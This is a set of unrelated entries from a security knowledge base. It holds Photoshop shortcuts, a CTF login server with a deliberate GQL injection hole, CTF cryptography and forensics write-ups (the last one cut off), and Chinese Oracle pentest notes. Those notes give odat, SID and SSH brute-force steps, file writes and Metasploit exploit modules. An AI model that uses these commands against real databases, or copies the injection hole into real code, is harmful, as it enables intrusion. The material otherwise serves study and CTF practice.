`Alt` `Z` | Step backward {.shortcuts} ### Use the Liquify filter Shortcut | Action ---|--- `W` | Forward warp tool `R` | Reconstruct tool `C` | Twirl clockwise tool `S` | Pucker tool `B` | Bloat tool `O` | Push left tool `M` | Mirror tool `T` | Turbulence tool `F` | Freeze mask tool `D` | Thaw mask tool `Alt` `(tool)` | Reverse direction for Bloat, Pucker, Push Left, and Mirror tools `Tab` | Cycle through controls on right from top `Shift` `Tab` | Cycle through controls on right from bottom `Alt` | Change cancel to reset {.shortcuts} ### Use Vanishing Point Shortcut | Action ---|--- `X` | Zoom 2x (temporary) `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Fit in view `Ctrl` `Z` | Undo last action `Ctrl` `Shift` `Z` | Redo last action `Ctrl` `D` | Deselect all `Ctrl` `H` | Hide selection and panes `Arrows` | Move selection 1 pixel `Shift` `Arrows` | Move selection 10 pixels `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Ctrl` `Shift` `T` | Repeat last duplicate and move `Ctrl` `Alt` `T` | Create floating selection from the current selection `Alt` `Shift` | Constrain selection to a 15 degree rotation `Backspace` | Delete last node while creating plane {.shortcuts} ### Use the Camera Raw dialog box {.row-span-4} Shortcut | Action ---|--- `Z` | Zoom tool `H` | Hand tool `I` | White balance tool `S` | Color sampler tool `C` | Crop tool `A` | Straighten tool `B` | Spot removal tool `E` | Red eye removal tool `Ctrl` `Alt` `1` | Basic panel `Ctrl` `Alt` `2` | Tone curve panel `Ctrl` `Alt` `3` | Detail panel `Ctrl` `Alt` `4` | HSL/Greyscale panel `Ctrl` `Alt` `5` | Split toning panel `Ctrl` `Alt` `6` | Lens corrections panel `Ctrl` `Alt` `7` | Camera calibration panel `Ctrl` `Alt` `8` | Presets panel `Ctrl` `Alt` `9` | Open snapshots panel `Ctrl` `Alt` `Shift` `T` | Parametric curve targeted adjustment tool `Ctrl` `Alt` `Shift` `H` | Hue targeted adjustment tool `Ctrl` `Alt` `Shift` `S` | Saturation targeted adjustment tool `Ctrl` `Alt` `Shift` `L` | Luminance targeted adjustment tool `Ctrl` `Alt` `Shift` `G` | Grayscale mix targeted adjustment tool `T` | Last-used targeted adjustment tool `K` | Adjustment brush tool `G` | Graduated filter tool `Alt` | Temporarily switch from Add to Erase mode for the Adjustment brush tool, or from Erase to Add mode `Alt` `]/[` | Increase/decrease temporary adjustment brush tool size `Alt` `Shift` `]/[` | Increase/decrease temporary adjustment brush tool feather `Alt` `=/-` | Increase/decrease temporary adjustment brush tool size flow in increments of 10 `N` | Switch to New mode from Add or Erase mode of the Adjustment Brush tool or Graduated filter `M` | Toggle Auto Mask for Adjustment Brush tool `Y` | Toggle Show Mask for Adjustment Brush tool `V` | Toggle pins for Adjustment Brush tool `L` | Rotate image left `R` | Rotate image right `Ctrl` | Temporarily switch to zoom in tool `Alt` | Temporarily switch to zoom out tool and change the image open button to open copy `P` | Toggle preview `F` | Full screen mode `Shift` | Temporarily activate the White Balance tool and change the open image button to open object `Arrows` | Move selected point in curves panel 1 pixel `Shift` `Arrows` | Move selected point in curves panel 10 pixels `Ctrl` `R` | Open selected images in Camera Raw dialog box from Bridge `O` | Highlight clipping warning `U` | Shadows clipping warning `Ctrl` `1-5` | Add 1-5 star rating (filmstrip mode) `Ctrl` `./,` | Increase/decrease rating (filmstrip mode) `Ctrl` `6` | Add red label (filmstrip mode) `Ctrl` `7` | Add yellow label (filmstrip mode) `Ctrl` `8` | Add green label (filmstrip mode) `Ctrl` `9` | Add blue label (filmstrip mode) `Ctrl` `Shift` `0` | Add purple label (filmstrip mode) `Ctrl` `K` | Camera Raw preferences `Ctrl` `Alt` | Delete Adobe Camera Raw preferences (on open) {.shortcuts} ### Use the Black-and-White dialog box Shortcut | Action ---|--- `Ctrl` `Shift` `Alt` `B` | Open the Black-and-White dialog box `Up/Down` | Increase/decrease selected value by 1% `Shift` `Up/Down` | Increase/decrease selected value by 10% {.shortcuts} ### Use Curves Shortcut | Action ---|--- `Ctrl` `M` | Open the Curves dialog box `+` | Select next point on the curve `-` | Select the previous point on the curve `Ctrl` `D` | Deselect a point `Del` | Delete a point on the curve `Arrows` | Move the selected point 1 pixel `Shift` `Arrows` | Move the selected point 10 pixels {.shortcuts} ### Transform selections, selection borders, and paths Shortcut | Action ---|--- `Alt` | Transform from center or reflect `Shift` | Constrain `Ctrl` | Distort `Enter` | Apply `Ctrl` `.` | Cancel `Ctrl` `Alt` `T` | Free transform with duplicate data `Ctrl` `Shift` `Alt` `T` | Transform again with duplicate data {.shortcuts} ### Edit paths Shortcut | Action ---|--- `Ctrl` | Switch from path selection, pen, add anchor point, delete anchor point, or convert point tools to direct selection tool `Alt` | Switch from pen tool to freeform pen tool to convert point tool when pointer is over anchor or direction point {.shortcuts} ### Use for painting Shortcut | Action ---|--- `Alt` `Shift` `0-9` | Mixer brush changes mix setting `0-9` | Mixer brush changes wet setting `00` | Mixer brush changes wet and mix to zero `Shift` `+/-` | Cycle through blending modes `Backspace` | Open fill dialog box on background or standard layer `Alt` `Backspace` | Fill with foreground color `Ctrl` `Backspace` | Fill with background color `Ctrl` `Alt` `Backspace` | Fill from history `Shift` `Backspace` | Displays fill dialog box `/` | Lock transparent pixels on/off {.shortcuts} ### Use for blending modes {.row-span-2} Shortcut | Action ---|--- `Ctrl` `-/+` | Cycle through blending modes `Shift` `Alt` `N` | Normal `Shift` `Alt` `I` | Dissolve `Shift` `Alt` `Q` | Behind (brush tool only) `Shift` `Alt` `R` | Clear (brush tool only) `Shift` `Alt` `K` | Darken `Shift` `Alt` `M` | Multiply `Shift` `Alt` `B` | Color burn `Shift` `Alt` `A` | Linear burn `Shift` `Alt` `G` | Lighten `Shift` `Alt` `S` | Screen `Shift` `Alt` `D` | Color dodge `Shift` `Alt` `W` | Linear dodge `Shift` `Alt` `O` | Overlay `Shift` `Alt` `F` | Soft light `Shift` `Alt` `H` | Hard light `Shift` `Alt` `V` | Vivid light `Shift` `Alt` `J` | Linear light `Shift` `Alt` `Z` | Pin light `Shift` `Alt` `L` | Hard mix `Shift` `Alt` `E` | Difference `Shift` `Alt` `X` | Exclusion `Shift` `Alt` `U` | Hue `Shift` `Alt` `T` | Saturation `Shift` `Alt` `C` | Color `Shift` `Alt` `Y` | Luminosity `Shift` `Alt` `N` | Set blending mode to Threshold for bitmap images, Normal for all other images {.shortcuts} ### Format type Shortcut | Action ---|--- `Ctrl` `Shift` `L/C/R` | Align left, center, or right `Ctrl` `Shift` `X` | Choose 100% horizontal scale `Ctrl` `Shift` `Alt` `X` | Choose 100% vertical scale `Ctrl` `Shift` `Alt` `A` | Choose auto leading `Ctrl` `Shift` `Q` | Choose 0 for tracking `Ctrl` `Shift` `J` | Justify paragraph, left aligns last line `Ctrl` `Shift` `F` | Justify paragraph, justifies all `Ctrl` `Shift` `Alt` `H` | Toggle paragraph hyphenation on/off `Ctrl` `Shift` `Alt` `T` | Toggle single/every-line composer on/off `Ctrl` `Shift` `</>` | Decrease or increase type size of selected text 2 points or pixels `Alt` `Up/Down` | Decrease or increase leading 2 points or pixels `Shift` `Alt` `Up/Down` | Decrease or increase baseline shift 2 points or pixels `Alt` `Left/Right` | Decrease or increase kerning/tracking 20/1000 ems {.shortcuts} ### Use panels Shortcut | Action ---|--- `Shift` `Enter` | Apply value and keep text box active `Tab` | Show/Hide all panels `Shift` `Tab` | Show/Hide all panels except the toolbox and options bar `Enter` | Highlight options bar (select tool first) `Shift` `Up/Down` | Increase/decrease selected values by 10 {.shortcuts} ### Use adjustment layers Shortcut | Action ---|--- `Alt` `3` | Choose red channel for adjustment `Alt` `4` | Choose green channel for adjustment `Alt` `5` | Choose blue channel for adjustment `Alt` `2` | Choose composite channel for adjustment `Backspace` | Delete adjustment layer {.shortcuts} ### Use the Brush panel Shortcut | Action ---|--- `,/.` | Select previous/next brush size `Shift` `,/.` | Select first/last brush `Caps Lock` | Display precise cross hair for brushes `Shift` `Alt` `P` | Toggle airbrush option {.shortcuts} ### Use the Clone Source panel Shortcut | Action ---|--- `Alt` `Shift` | Show Clone Source (overlays iamge) `Alt` `Shift` `(arrows)` | Nudge Clone Source `Alt` `Shift` `</>` | Rotate Clone Source `Alt` `Shift` `[/]` | Scale (increase or reduce size) Clone Source {.shortcuts} ### Use the Layers panel Shortcut | Action ---|--- `Ctrl` `Shift` `N` | New layer `Ctrl` `J` | New layer via copy `Ctrl` `Shift` `J` | New layer via cut `Ctrl` `G` | Group layers `Ctrl` `Shift` `G` | Ungroup layers `Ctrl` `Alt` `G` | Create/release clipping mask `Ctrl` `Alt` `A` | Select all layers `Ctrl` `Shift` `E` | Merge visible layers `Alt` `.` | Select top layer `Alt` `.` | Select bottom layer `Shift` `Alt` `[/]` | Add to layer selection in Layers panel `Alt` `[/]` | Select next layer down/up `Ctrl` `[/]` | Move target layer down/up `Ctrl` `Shift` `Alt` `E` | Merge a copy of all visible layers into target layer `Ctrl` `E` | Merge layers (while layers are highlighted) `Ctrl` `Shift` `[/]` | Move layer to bottom or top `/` | Toggle lock transparency for target layer, or last applied lock `\` | Toggle rubylith mode for layer mask on/off {.shortcuts} Also see -------- - [Keyboard shortcuts for Adobe Photoshop](https://helpx.adobe.com/photoshop/using/default-keyboard-shortcuts.html) _(helpx.adobe.com)_
sec-knowleage
"""Main application.""" import base64 import hashlib import hmac import logging import os import textwrap import time import urllib import webapp2 from google.appengine.api import datastore_errors from google.appengine.api import memcache from google.appengine.ext import ndb HANDICAP = 10 * 2 FLAG_LENGTH = 64 BAN = 30 * 60 / HANDICAP class QUOTAS(object): HITS = 13 ERRS = 2 class WINDOWS(object): HITS = 10 * 60 / HANDICAP ERRS = 10 * 60 / HANDICAP MAX = FLAG_LENGTH * (5 + 10 * 60 / HANDICAP) class QuotaModel(ndb.Model): start = ndb.FloatProperty() banned = ndb.FloatProperty() hits = ndb.FloatProperty(repeated=True) errs = ndb.FloatProperty(repeated=True) class UserModel(ndb.Model): user = ndb.StringProperty() password = ndb.StringProperty() class Key(ndb.Model): secret = ndb.StringProperty() class Login(webapp2.RequestHandler): """Login servlet with abuse detection signals.""" key = Key.get_or_insert("key", namespace="default").secret.encode("utf-8") def PrintQuotaError(self): self.response.write( textwrap.dedent(""" <h1>Abuse detection system triggered!</h1> <h3>You have been banned for %s seconds.</h3> <p> <b> If you believe this is a mistake, contact your system administrator. </b> Possible reasons include: <ul> <li>Generating too many errors too quickly <!--DEBUG: %s queries / %s seconds--></li> <li>Making too many requests too quickly <!--DEBUG: %s queries / %s seconds--></li> <li>Spending too much time without authenticating <!--DEBUG: %s seconds--></li> </ul> </p> """) % (BAN, QUOTAS.ERRS, WINDOWS.ERRS, QUOTAS.HITS, WINDOWS.HITS, WINDOWS.MAX)) self.response.set_status(400) @ndb.transactional def dispatch(self): try: hostname = self.request.host.split("-")[0] ban = memcache.get("ban:%s" % hostname) if ban and ban > time.time(): return self.PrintQuotaError() flag = "CTF{%s-%s}" % ( hostname, base64.b64encode(hmac.new( self.key, hostname, hashlib.sha512 ).digest()[:(6*FLAG_LENGTH/8)], "-_")) self.quota = QuotaModel.get_or_insert(hostname, start=time.time()) self.user = UserModel.get_or_insert( "user", parent=self.quota.key, user="admin", password=flag) time_limit = self.quota.start + WINDOWS.MAX if self.quota.banned > time.time() or time_limit < time.time(): return self.PrintQuotaError() hit_window = time.time() - WINDOWS.HITS self.quota.hits = [hit for hit in self.quota.hits if hit > hit_window] err_window = time.time() - WINDOWS.ERRS self.quota.errs = [err for err in self.quota.errs if err > err_window] except Exception as e: # pylint: disable=broad-except logging.exception("Dispatch error: %s", e) self.abort(500) try: self.quota.hits.append(time.time()) super(Login, self).dispatch() except datastore_errors.TransactionFailedError: raise except Exception as e: # pylint: disable=broad-except self.quota.errs.append(time.time()) logging.exception("Handler error: %s", e) self.redirect("/index.html?e=%s" % urllib.quote(str(e))) finally: if (len(self.quota.hits) > QUOTAS.HITS or len(self.quota.errs) > QUOTAS.ERRS): self.quota.banned = time.time() + BAN memcache.add(key="ban:%s" % hostname, value=self.quota.banned, time=BAN) self.quota.put() def post(self): sql = "SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = '%s'" query = ndb.gql(sql % self.request.get("user"), self.quota.key) result = query.fetch(1) if not result: self.redirect("/index.html?e=%s" % urllib.quote("Wrong username")) elif result[0].password != self.request.get("password"): raise Exception("Wrong password") else: self.response.write(self.request.get("password")) def get(self): if self.request.host.startswith("qu0t45"): self.redirect("/") else: self.redirect("//qu0t45%swww-%s/login" % (base64.b64encode(os.urandom(6 * 16 / 8), "__"), "abuse.web.ctfcompetition.com")) app = webapp2.WSGIApplication( [ ("/login", Login), ], debug=False)
sec-knowleage
command === 调用并执行指定的命令 ## 补充说明 **command命令** 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。 ### 语法 ```shell command(参数) ``` ### 参数 指令:需要调用的指令及参数。 ### 实例 使用command命令调用执行`echo Linux`,输入如下命令: ```shell command echo Linux #调用执行shell内部指令 ``` 上面的命令执行后,将调用执行命令`echo Linux`,其执行结果如下: ```shell Linux ```
sec-knowleage
## Puzzleng (forensic, 150p, 24 solves) > Next Generation of Puzzle! > [puzzleng-edb16f6134bafb9e8b856b441480c117.tgz](puzzleng.tgz) ### PL [ENG](#eng-version) Z dołączonego do zadania pliku tgz wypakowujemy dwa kolejne - [encrypt](encrypt) (to binarka, elf) oraz [flag.puzzle](flag.puzzle) (nieznany typ pliku). Łatwo domyślić się że jeden to kod którym zostały zaszyfrowane dane, a drugi to same zaszyfrowane dane. Przepisujemy kod szyfrujący do C żeby móc go dokładniej przeanalizować: ```c int main(int argc, char *argv[]) { char hash[20]; assert(argc == 3); int password_len = strlen(argv[1]); SHA1(argv[1], password_len, hash); stream = fopen(argv[2], "r"); assert(stream); fseek(stream, 0LL, 2); int data_len = ftell(stream); rewind(stream); for (int i = 0; i <= 19; ++i) { for (int j = 0; j < (data_len + 19) / 20; ++j) { int chr = fgetc(stream); if (chr == -1) break; putchar(chr ^ hash[i]); } } } ``` Jak widać działanie jest bardzo proste - dzieli plik wejściowy na 20 bloków, i każdy z nich xoruje z innym bajtem. Bajty z którymi szyfruje są losowe (wynik SHA1) więc ich nie zgadniemy. Ale wydaje się to być banalne, albo wręcz trywialne zadanie. W końcu xorowanie po bajcie to jedna z najsłabszych metod szyfrowania jaką można wymyślić. Zakładamy więc że dane które zostały zaszyfrowane to plaintext, i piszemy na szybko dekryptor (źródło już nie istnieje, ale pomysł był prosty - dla każdego bloku sprawdzenie, z jakim bajtem go trzeba xorować żeby po xorowaniu wszystkie bajty były plaintekstem). Bardzo się zawiedliśmy - nie ma takich bajtów, więc dane które zostały zaszyfrowane nie są plaintextem. W przypływie natchnienie sprawdzamy co innego - czy da się znaleźć taki bajt, że po xor-owaniu go z pierwszym blokiem w wyniku będzie gdzieś "IHDR". I nie myliliśmy się - dane które otrzymaliśmy to zaszyfrowany plik .png: ```python s = open('flag.puzzle', 'rb').read() chunk_len = (1135+19)/20 chunks = [s[chunk_len*i:chunk_len*(i+1)] for i in range(20)] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) for i in range(len(chunks)): c = chunks[i] for b in range(256): xx = xor(c, chr(b)*10000) if 'IHDR' in xx: print i, b, xx, xx.encode('hex') ``` Co teraz? Wiemy już z jakim bajtem był xorowany pierwszy blok, ale mamy 19 do zgadnięcia. Zrobiliśmy to samo dla 'IDAT' i 'IEND', zgadując kolejne dwa bajty. Niestety to ślepa uliczka - pikseli obrazka w ten sposób nie zgadniemy (a przynajmniej nie mieliśmy pomysłu żadnego). Dlatego poszliśmy inną drogą - wiemy jak zaczynają się dane chunka IDAT (to stream zlibowy), bo mamy ich fragment: ```python start = '789CEDCF418AE4300C05D0DCFFD2358BC6485F76'.decode('hex') ``` Stream zlibowy prawdopodobnie nie zadziała dla wszystkich danych - możemy próbować deszyfrować drugi blok, i patrzeć kiedy będzie leciał wyjątek podczas dekompresji: ```python known = { 0: 101, 1: 48 } curr = start for ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` Był to bardzo obiecujący sposób, ale niestety skończył się niepowodzeniem - o ile zawartość trzeciego bloku odzyskaliśmy (był tylko jeden bajt który nie powodował wyjątku), przy czwartym i dalej bloku za wiele danych dekompresowało się poprawnie. Więc wykorzystaliśmy to co wiedzieliśmy o obrazku (wyciągniętą z rozszyfrowanej sekcji IDAT) - miał szerokość 912 pikseli oraz jednobitową paletę (czyli prawdopodobnie czarno-biały). I teraz cechą plików png, jest to że na początku każdego wiersza danych znajduje się filtr którym są one traktowane. Mniejsza o technikalia, wynika z tego że co 115 bajt w zdekompresowanych danych powinien być równy '\x00' (tzn. nie musiał jeśli byłyby użyte inne filtry, ale po analizie fragmentów danych które mieliśmy zauważyliśmy że tutaj używany wszędize jest filtr 0, jak zazwyczaj w png). ```python def testraw(raw): for i in range(len(raw) / 115): if raw[i*115] != '\0': return False return True ``` Nowa wersja: ```python curr = start for ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` Niestety, było to dalej niewystarczające - ciągle więcej niż jeden bajt spełniał nasze warunki, więc musieliśmy je jakoś oceniać. Jako że zauważyliśmy że w błędnie zdekompresowanych plikach na końcu znajdywały się głównie zera (czarne piksele), wartościowaliśmy po ilości nieczarnych pikseli w wyniku po dekompresji. Ostateczna wersja: ```python curr = start for ndx in range(2, 20): clean() c = chunks[ndx] if not known.has_key(ndx): mingap = 0 for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): gap = len([True for x in zl[-500:] if x != '\x00']) if gap > mingap: known[ndx] = i mingap = gap print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` Udało się, dostaliśmy jakieś dane. Po zapisaniu ich do pliku otrzymaliśmy piękny QR code: ![result](result.png) Po dekodowaniu: `hitcon{qrencode -s 16 -o flag.png -l H --foreground 8F77B5 --background 8F77B4}` ### ENG version We unpacked two files from tgz attached to task: [encrypt](encrypt) (elf binary) and [flag.puzzle](flag.puzzle) (unknown file). It was obvious to us that first file is binary used to encrypt some data, and second file is result of that encryption. We disassembled and rewritten binary to C to simplify analysis: ```c int main(int argc, char *argv[]) { char hash[20]; assert(argc == 3); int password_len = strlen(argv[1]); SHA1(argv[1], password_len, hash); stream = fopen(argv[2], "r"); assert(stream); fseek(stream, 0LL, 2); int data_len = ftell(stream); rewind(stream); for (int i = 0; i <= 19; ++i) { for (int j = 0; j < (data_len + 19) / 20; ++j) { int chr = fgetc(stream); if (chr == -1) break; putchar(chr ^ hash[i]); } } } ``` Encryption method is really simple - program splits input file to 20 blocks of equal length, than xors each of them with another byte. At this moment challenge seems to be very easy, almost trivial - after all xoring data with single byte is one of weakest existing methods of encryption. We assumed that encrypted data was plain text, and tried to bruteforce bytes in sha1 that was used to xor them. If our assumption was true, we could find byte such that ciphertext_byte ^ byte is printable ascii for each byte in ciphetext - but it was not possible. That means, data that was encrypted is not textual. So we checked another possiblity - we tried bruteforcing bytes for first block, but this time we hoped for 'IHDR' in decrypted string. And we were right - our encrypted data used to be .png file. ```python s = open('flag.puzzle', 'rb').read() chunk_len = (1135+19)/20 chunks = [s[chunk_len*i:chunk_len*(i+1)] for i in range(20)] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) for i in range(len(chunks)): c = chunks[i] for b in range(256): xx = xor(c, chr(b)*10000) if 'IHDR' in xx: print i, b, xx, xx.encode('hex') ``` Now what? We know byte that was used to encrypt first block, but we have 19 more to go. We used the same method to find 'IDAT' and 'IEND', leaving us with 17 unknown bytes. That turned out to be dead end, so we tried something completely different. We know first few bytes of IDAT section (because we decrypted block with IDAT) ```python start = '789CEDCF418AE4300C05D0DCFFD2358BC6485F76'.decode('hex') ``` We know that this is zlib stream, and that next block, after decrypting and appending to this fragment, should form correct zlib stream as well (otherwise it will probably throw some exception) ```python known = { 0: 101, 1: 48 } curr = start for ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` This method was really promising, but we didn't get very far with it. We decrypted third block with ease (only one byte didn't throw exception), but fourth and later blocks decompression threw exceptions much sparser and left us with too much posibilities to bruteforce. So we used our knowledge about image (that we acquired after decrypting IDAT section) - it's 912 pixels wide, 912 pixels height, and have 1bit palette (black and white probably). We remembered that each row in decompressed raw png data starts with 'filter byte' (this byte allows encoders/decoders to preprocess raw pixel data, potentially reducing final file size). After analysing blocks that we managed to decompress, we concluded that all filter bytes are equal to 0, so every 115-th byte in decompressed data should be equal to '\x00'. Using this knowledge we updated our decryptor: ```python def testraw(raw): for i in range(len(raw) / 115): if raw[i*115] != '\0': return False return True ``` New version: ```python curr = start for ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` Alas, that still wasn't it - too many bytes passed this test. We noticed that incorrectly decompressed data contained a lot of zeroes at the end. So we decided to grade possible solutions according to number of '\x00' bytes at the end (the less the better). Final version: ```python curr = start for ndx in range(2, 20): clean() c = chunks[ndx] if not known.has_key(ndx): mingap = 0 for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): gap = len([True for x in zl[-500:] if x != '\x00']) if gap > mingap: known[ndx] = i mingap = gap print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok ``` We did it, that method gave us correct byte that each block was xored with (stored in `known` dictionary). After saving decrypted data to file, we get beautiful QR code: ![result](result.png) After decoding: `hitcon{qrencode -s 16 -o flag.png -l H --foreground 8F77B5 --background 8F77B4}`
sec-knowleage
# Oracle Oracle Database Server 是美国甲骨文(Oracle)公司的一套关系数据库管理系统。该数据库管理系统提供数据管理、分布式处理等功能。 > fofa : app="Oracle-数据库" **版本号** - oracle 版本号是真的乱,Oracle 数据库版本号请看维基百科 [Oracle Database](https://en.wikipedia.org/wiki/Oracle_Database) **注入** - [Oracle数据库注入笔记](../Web安全/Web_Generic/SQLi.md#Oracle) **Tips** - scott 用户默认没有启用 - 可以用 oracle 的账号试试 ssh 的爆破 **相关文章** - [How to hack an Oracle database server](https://hackingprofessional.github.io/Security/how-to-hack-an-Oracle-database-server/) **相关渗透工具** - [jas502n/oracleShell](https://github.com/jas502n/oracleShell) - oracle 数据库命令执行工具,支持连接的 Oracle 版本较低 - [quentinhardy/odat](https://github.com/quentinhardy/odat) - Oracle 数据库攻击工具,支持功能包括爆破 SID,提权,命令执行 ```bash # 安装 apt install -y libaio1 alien apt install -y python3-scapy pip3 install colorlog termcolor pycrypto passlib cx_Oracle pyinstaller pip3 install argcomplete && activate-global-python-argcomplete git clone https://github.com/quentinhardy/odat.git # 访问 https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html 下载 rpm 包 alien --to-deb oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm dpkg -i oracle-instantclient19.6-basic_19.6.0.0.0-2_amd64.deb export ORACLE_HOME=/usr/lib/oracle/19.6/client64/ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib export PATH=${ORACLE_HOME}bin:$PATH sudo -s sources /etc/profile python3 -c 'import cx_Oracle' python3 odat.py -h ``` ```bash python3 odat.py all -s 192.168.1.254 -p 1521 python3 odat.py all -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 # 信息收集 python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --ping python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --version python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --status # 写文件 echo "Hacked By Gerh" > /tmp/File-Test.txt python3 odat.py dbmsxslprocessor -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 --putFile "/tmp" "File-Test.txt" "/tmp/File-Test.txt" ``` **MSF 爆破** ```bash use admin/oracle/oracle_login set RHOSTS [IP] set SID [SID] run ``` **CVE-2010-3600 Oracle Enterprise Manager Grid Control JSP 代码执行漏洞** - 漏洞描述 Oracle Database Server 11.1.0.7 和 11.2.0.1 版本,以及 Enterprise Manager Grid Control 10.2.0.5 版本的 Client System Analyzer 组件中存在未明漏洞。远程攻击者可借助未知向量影响机密性、完整性和可用性。 - 影响版本 - Oracle:Enterprise_manager_grid_control:10.2.0.5::: - Oracle:Database_server:11.1.0.7::: - Oracle:Database_server:11.2.0.1::: - MSF 模块 ```bash use exploit/windows/oracle/client_system_analyzer_upload ``` **CVE-2012-1675 Oracle TNS Listener Remote Poisoning** - 漏洞描述 Oracle Database Server 在实现上存在可允许攻击者向远程“TNS Listener”组件处理的数据投毒的漏洞。攻击者可利用此漏洞将数据库服务器的合法“TNS Listener”组件中的数据转向到攻击者控制的系统,导致控制远程组件的数据库实例,造成组件和合法数据库之间的攻击者攻击、会话劫持或拒绝服务攻击。 - 影响版本 - Oracle:Database_server:11.2.0.4::: - Oracle:Database_server:11.2.0.3::: - Oracle:Database_server:11.2.0.2::: - Oracle:Database_server:11.1.0.7::: - Oracle:Database_server:10.2.0.5::: - 相关文章 - [Oracle TNS Listener Remote Poisoning](http://www.cnblogs.com/zhuxr/p/9618512.html) - [ORACLE TNS Listener远程注册投毒(Poison Attack)漏洞](https://blog.csdn.net/wengtf/article/details/46632405) - MSF 模块 ```bash use auxiliary/admin/oracle/tnscmd # 该漏洞可以远程获取到 oracle 的内存信息,若是能获取到内存中的数据即为存在漏洞. set rhosts [ip] run use auxiliary/admin/oracle/sid_brute # 爆破 oracle 的 SID set rhosts [ip] run ```
sec-knowleage
## Crypto-Pirat (Crypto, 50p) Did the East German Secret Police see a Pirat on the sky? Help me find out! Hint: We had 9 planets from 1930–2006... Hint2: Each planet has a number. (There's a table on a well-known website). After that you might be interested in ciphers used by the secret police. [attachment](ciphertext.txt) ###ENG [PL](#pl-version) This task was a bit of a guessing game, but still quite fun. The harder part was to start with the task. It turned out that we had to change unicode planet symbols in the input file to planet numbers. ```python with open("ciphertext.txt", "rb") as file: data = file.read() chars = { 0x2295: "3", 0x2640: "2", 0x2646: "8", 0x2647: "9", } result = "".join([chars.get(ord(c), c) for c in data.decode("utf8")]) ``` Which gave us: 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2 This seemed similar to one-time-pad encryption used by some secret services in the past. Using the suggestion from description that it is about germany, we found the TAPIR encryption scheme, and the decryption table: http://scz.bplaced.net/m.html#t From this table we figured that we are interested in 2-digit partition of our data. There were only 4 different 2-digit blocks: 82, 83, 89, 92 First one start the symbolic mode, second is a control character for space and the last two are dot and dash. This suggests morse code. We generate morse code from the previous code result: ```python result = result.replace(" ", "") result = "".join(result[i:i + 2] for i in range(0, len(result), 2)) result = result.replace("82", "") result = result.replace("83", " ") result = result.replace("89", ".") result = result.replace("92", "-") ``` Which gives: -.- --.. ..-. .... .-- - - ..-. -- ...- ... ... -.-. -..- ..--- ..- --. .- -.-- .... -.-. -..- ..--- -.. --- --.. ... .-- ....- --.. ...-- ... .-.. ..... .-- --. . ..--- -.-. --... -. --.. ... -..- . --- .-. .--- .--. ..- -...- -...- -...- -...- -...- -...- And this decodes as morse code to: KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU====== Which we recognize as base-32 encoded string, which decoded via `base64.b32decode("KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU======")` gives: VJ{Neee!_T00q_Cvengr_lbh_ner:)} Which looks like some kind of shift/substitution cipher. It turnes out to be rot13 which decoded via `code.encode("rot_13")` gives: `IW{Arrr!_G00d_Pirate_you_are:)}` ###PL version Zadanie wymagało trochę zgadywania, ale mimo to było dość ciekawe. Największy problem stanowiło znalezienie punktu zaczepienia na początek. Okazało się, że należało zamienić unicodowe symbole planet w pliku wejściowym na numery tych planet w układzie słonecznym: ```python with open("ciphertext.txt", "rb") as file: data = file.read() chars = { 0x2295: "3", 0x2640: "2", 0x2646: "8", 0x2647: "9", } result = "".join([chars.get(ord(c), c) for c in data.decode("utf8")]) ``` To dało nam: 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 